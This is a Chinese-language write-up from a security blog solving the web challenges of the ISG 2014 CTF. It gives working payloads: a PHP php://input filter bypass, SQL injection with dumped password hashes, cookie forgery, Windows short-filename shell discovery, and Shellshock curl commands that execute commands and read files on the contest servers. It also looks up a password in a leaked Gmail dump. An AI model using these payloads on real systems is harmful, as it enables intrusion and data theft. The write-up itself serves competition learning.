ISG2014 Writeup全攻略之Web篇

2014-10-01 19,935

ALL1

题外: 第二天上班的时候听朋友说有个ISG比赛,据说高校队的题霸已经得好几千分了,作为一名安全前线从业人员,老王我 顾不上啃包子就来瞟了两眼,web方面的也折腾了一下,基本搞出来了,过程还是有点意思的,特此分享给安全脉搏(SecPulse)上的童鞋。

SP小编补脑: ISG(Information Security Game),2014 信息安全 技能竞赛,ISG官网 http://chinaisg.org.cn/,比赛地址http://202.112.26.130/ 涉及如下课题:

 
信息搜集(Misc)
Web漏洞与渗透(Web)
软件逆向(Reverse Engineering)
漏洞挖掘与利用(Exploit)
密码学原理及应用(Crypto)

 

 SMILE

smile1

 
(^o^)/ I love smiling~
注意:UTF-8编码的笑脸哦!
http://202.120.7.104:8888
http://202.120.7.72:8888
 
http://202.120.7.104:8888/?view-source
根据源代码 
<?php 
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }
    include('flag.php');
    $smile = 1; 
    if (!isset ($_GET['^_^'])) $smile = 0; 
    if (ereg ('.', $_GET['^_^'])) $smile = 0;
    if (ereg ('%', $_GET['^_^'])) $smile = 0; 
    if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0; 
    if (ereg ('http', $_GET['^_^']) ) $smile = 0; 
    if (ereg ('https', $_GET['^_^']) ) $smile = 0; 
    if (ereg ('ftp', $_GET['^_^'])) $smile = 0; 
    if (ereg ('telnet', $_GET['^_^'])) $smile = 0; 
    if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0; 
    if ($smile) {
        if (@file_exists ($_GET['^_^'])) $smile = 0; 
    } 
    if ($smile) {
        $smile = @file_get_contents ($_GET['^_^']); 
        if ($smile === "(●'◡'●)") die($flag); 
    } 
?>

本地调试一下 使用了^.^ 或^ ^绕过了前面的一些限制

后面的file_get_contents ($_GET['^_^'])使用php://input方式 但最后直接提交笑脸(●'◡'●)会有问题

smile2

根据提示: 注意:UTF-8编码的笑脸哦! 那么提交utf8后的笑脸   (●'◡'●)

smile3

 
http://202.120.7.104:8888/index.php?^ ^=php://input
(●'◡'●)
或者
http://202.120.7.104:8888/index.php?^.^=php://input
(●'◡'●)

ISG{_1N2N3N4N5N6B7B8B9B10B_}

 SQLMAP

 

SQLMAP sql_kali

 

这题比较简单

1test

ISG{BLind_SQl_InJEcTi0N_DeTEcTEd}

 

 Find Shell

1

 
找到你上传的shell吧!
http://202.120.7.66:8888
http://202.112.26.122:8888

测试上传后Firebug看一下:

2655

 
HintLine1    $upload_dir = "./tmp/";
HintLine2    $rand = mt_rand();
HintLine3    $filename = md5($_FILES["file"]["name"]).sha1($rand);
Keep-Alive    timeout=5, max=100
Server    Apache/2.4.9 (Win32) OpenSSL/0.9.8y PHP/5.3.28
X-Powered-By    PHP/5.3.28

按照样子应该是这样的:

http://202.120.7.66:8888/tmp/4666f8daa7hjddd50dd738c23df60fghc74574540fad7b7713c2b11623e4124f08a08c40

win下rand()的max为1-32768;mt_rand() 测试了几个 大多9-10位。

暴力跑shell倒是很难

但感觉Burp上传100w的shell 然后再跑  概率就很大了 是不是有点坏

最后感觉有点2 又看了一下server

Apache/2.4.9 (Win32)
 
原来是考windows的短文件名机制,如:

C:\secpulse12312394944545.txt
可采用
C:\secpul~1.txt

windows文件是有这个机制,web访问的话只有apache+win32才能触发,IIS+win32得要.net才能触发(?)
 
访问 1-9 都可以
http://202.120.7.66:8888/tmp/4666f8~1
http://202.120.7.66:8888/tmp/4666f8~2
...
http://202.120.7.66:8888/tmp/4666f8~9
ISG{u_sUcCEssFuLlY_F1nd_YOuR_sHe11}

 

 X-Area

0 111

401基础认证 看到hack.the.life@gmail.com  这个Gmail 瞬间感觉是不是跟 《493万Gmail用户的账号密码遭泄露,疑从其他网站数据库提炼而成 》上的数据库有关

果断一查 hack.the.life@gmail.com    密码zasada  Bingo!

2

看到0ops:$apr1$XZ6oHreE$rYRGk9cFLxm1hF4TAc0m50 这个unix md5 hash,果然配好字典用john跑出来是 5s41t 那么key = 5s41t ,用key提交

4

获得源码

 
ob_start();
//the flag is ISG{tHe_MaGic_pHP_S0UrCE_c0D3}
echo " Just get the flag!!";
$info = ob_get_contents();
ob_end_clean();
echo "Hello Hackers!";
return $info;

 

Safesite

 
这是一个非常安全的网站,该如何拿到flag呢 ?
http://202.120.7.109:8888
http://202.112.26.124:8888
*注意:在服务器的8888端口绑定了reallysafesite.org的相关域名

0

 
绑定本地hosts
202.120.7.109 reallysafesite.org 
202.112.26.124 reallysafesite.org 
202.120.7.109 www.reallysafesite.org 
202.112.26.124 www.reallysafesite.org

 

1x

据说no sqli,no xss,no csrf,作为隔壁的王叔叔的我就不信,一顿xss闭合后打入,等了半天没X到,心里有点凉,想起了当初是怎么X到隔壁,一顿辛酸。

 
扫了一下路径 都403 资源目录有列目录 可是很无助
http://reallysafesite.org:8888/static/
http://reallysafesite.org:8888/server-status

这真是一个如此安全的网站吗?不管你们信不信,反正王叔叔我是不信!

 
万般无奈 根据自己多年独立开发经验   又往hosts里面加了相关子域名admin
202.120.7.109 admin.reallysafesite.org
202.112.26.124 admin.reallysafesite.org

果然出来个后台:

6

 
http://admin.reallysafesite.org:8888/login.php  感觉会有注入,于是操起SqlMap,Payload比较搓,多线程都跑了好久

ver operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] safesite


Database: safesite
Table: isg_admin
[1 entry]
+-----+-----------------------------+----------+----------------------------------+
| uid | info                        | username | password                         |
+-----+-----------------------------+----------+----------------------------------+
| 1   | login and capture the flag! | admin    | 86c969bebab9cfeb47efcc65d85f26c5 |
+-----+-----------------------------+----------+----------------------------------+

Database: mysql
Table: user
[6 entries]
+------------------+-------------------------------------------+
| User             | Password                                  |
+------------------+-------------------------------------------+
| debian-sys-maint | *A81027D3C1A3620E4AD5D08B3F74A8EC3736F272 |
| root             | *D89D4A7**384254BAAED9CB1CA3A78B02A3F8339 |
| root             | *D89D4A7**384254BAAED9CB1CA3A78B02A3F8339 |
| root             | *D89D4A7**384254BAAED9CB1CA3A78B02A3F8339 |
| root             | *D89D4A7**384254BAAED9CB1CA3A78B02A3F8339 |
| safesite         | *C8129DF0D8E80663774DD9F1A65BB4C79D8E48CA |
+------------------+-------------------------------------------+

5

试了这个破密码,解也解不开 查看源码<meta name="author" content="md5_salt">

以为我们获取的密码86c969bebab9cfeb47efcc65d85f26c5缺少salt呢  都做到这里了 能突然卡住?老王我真是一筹莫展

后来尝试万能密码语句:

2test 7

获得cookie Cookie u=admin; p=90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad

p是40位的,发现就是我们的密码admin的sha1加密 我猜想这里是不是有cookie欺骗漏洞

直接把我们32位的密码86c969bebab9cfeb47efcc65d85f26c5修改上去发现不行 想破头

是不是把数据库里面的password也sha1呢?

果断 86c969bebab9cfeb47efcc65d85f26c5经Hackbar sha1 后0fa2bf55d6cb9714da177d9c59e22e51d796ab43

修改伪造cookie Cookie u=admin; p=0fa2bf55d6cb9714da177d9c59e22e51d796ab43

通过!

8

The flag is ISG{s3cUriTy_iS_n0t_A_sIng1e_p0iNt}

Up-to-Date

111123

 
每周更新服务器,以确保flag.txt安全。

http://202.112.26.125:8888/
http://202.120.7.112:8888/

这道题是下午更新的 正常思维是扫运维的备份文件;后来发现有最新的Bash漏洞  主办方果然是跟的上时代的节奏

shellshock_isg

 
root@kali:~/Desktop# curl -H 'x: () { :;};a=`/bin/pwd`;echo "a: $a"' 'http://202.112.26.125:8888/' -I
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 13:43:45 GMT
Server: Apache/2.4.7 (Ubuntu)
a: /var/www/html
Vary: Accept-Encoding
Content-Type: text/html

root@kali:~/Desktop# curl -H 'x: () { :;};a=`/bin/ls -la`;echo "a: $a"' 'http://202.112.26.125:8888/' -I
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 13:44:14 GMT
Server: Apache/2.4.7 (Ubuntu)
a: total 12
drwxr-xr-x 2 root root 4096 Sep 28 13: 07 .
drwxr-xr-x 3 root root 4096 Sep 28 13: 18 ..
-rwxr-xr-x 1 root root  290 Sep 28 13: 07 index.cgi
Vary: Accept-Encoding
Content-Type: text/html

root@kali:~/Desktop# curl -H 'x: () { :;};a=`/bin/ls -la /var/www/`;echo "a: $a"' 'http://202.112.26.125:8888/' -I
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 13:45:45 GMT
Server: Apache/2.4.7 (Ubuntu)
a: total 16
drwxr-xr-x  3 root root 4096 Sep 28 13: 18 .
drwxr-xr-x 13 root root 4096 Sep 28 13: 02 ..
-rw-r--r--  1 root root   41 Sep 28 13: 18 flag.txt
drwxr-xr-x  2 root root 4096 Sep 28 13: 07 html
Vary: Accept-Encoding
Content-Type: text/html

root@kali:~/Desktop# curl -H 'x: () { :;};a=`/bin/cat /var/www/flag.txt`;echo "a: $a"' 'http://202.112.26.125:8888/' -I
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 13:46:04 GMT
Server: Apache/2.4.7 (Ubuntu)
a: ISG{HaVE_7o_UpDAT3_mY_SeRVeR_M0RE_oFT3n}
Vary: Accept-Encoding
Content-Type: text/html

ISG{HaVE_7o_UpDAT3_mY_SeRVeR_M0RE_oFT3n}

web基本就是这样了,当然逆向破解和算法 也很精彩

原创作者:隔壁老王

SP地址:http://www.secpulse.com/archives/1086.html

本文作者:SecPulse

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/1112.html

Tags:
评论  (4)
快来写下你的想法吧!
  • 隔壁老王 2014-10-01 17:32:13

    比赛结束当天 老王我就写好了writeup 本着我多年隔壁的人道精神 等待参赛的小伙伴们都发完writeup给大赛组织方后发出来 如果有错误或者新思路 大家多提提

    • SP小编 个人认证 2014-10-01 17:34:00

      @隔壁老王 不好意思 由于文章编辑和发布过程中出现了长期的502问题 导致了延期 SP小编表示很歉意

  • Pis 2014-10-01 19:46:00

    隔壁的老王挺厉害啊 国庆进行中的西电求组队啊

  • patch 2014-12-31 15:41:30

    :roll: :roll: :roll:

SecPulse

文章数:98 积分: 289

气质和实力并兼的男人

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号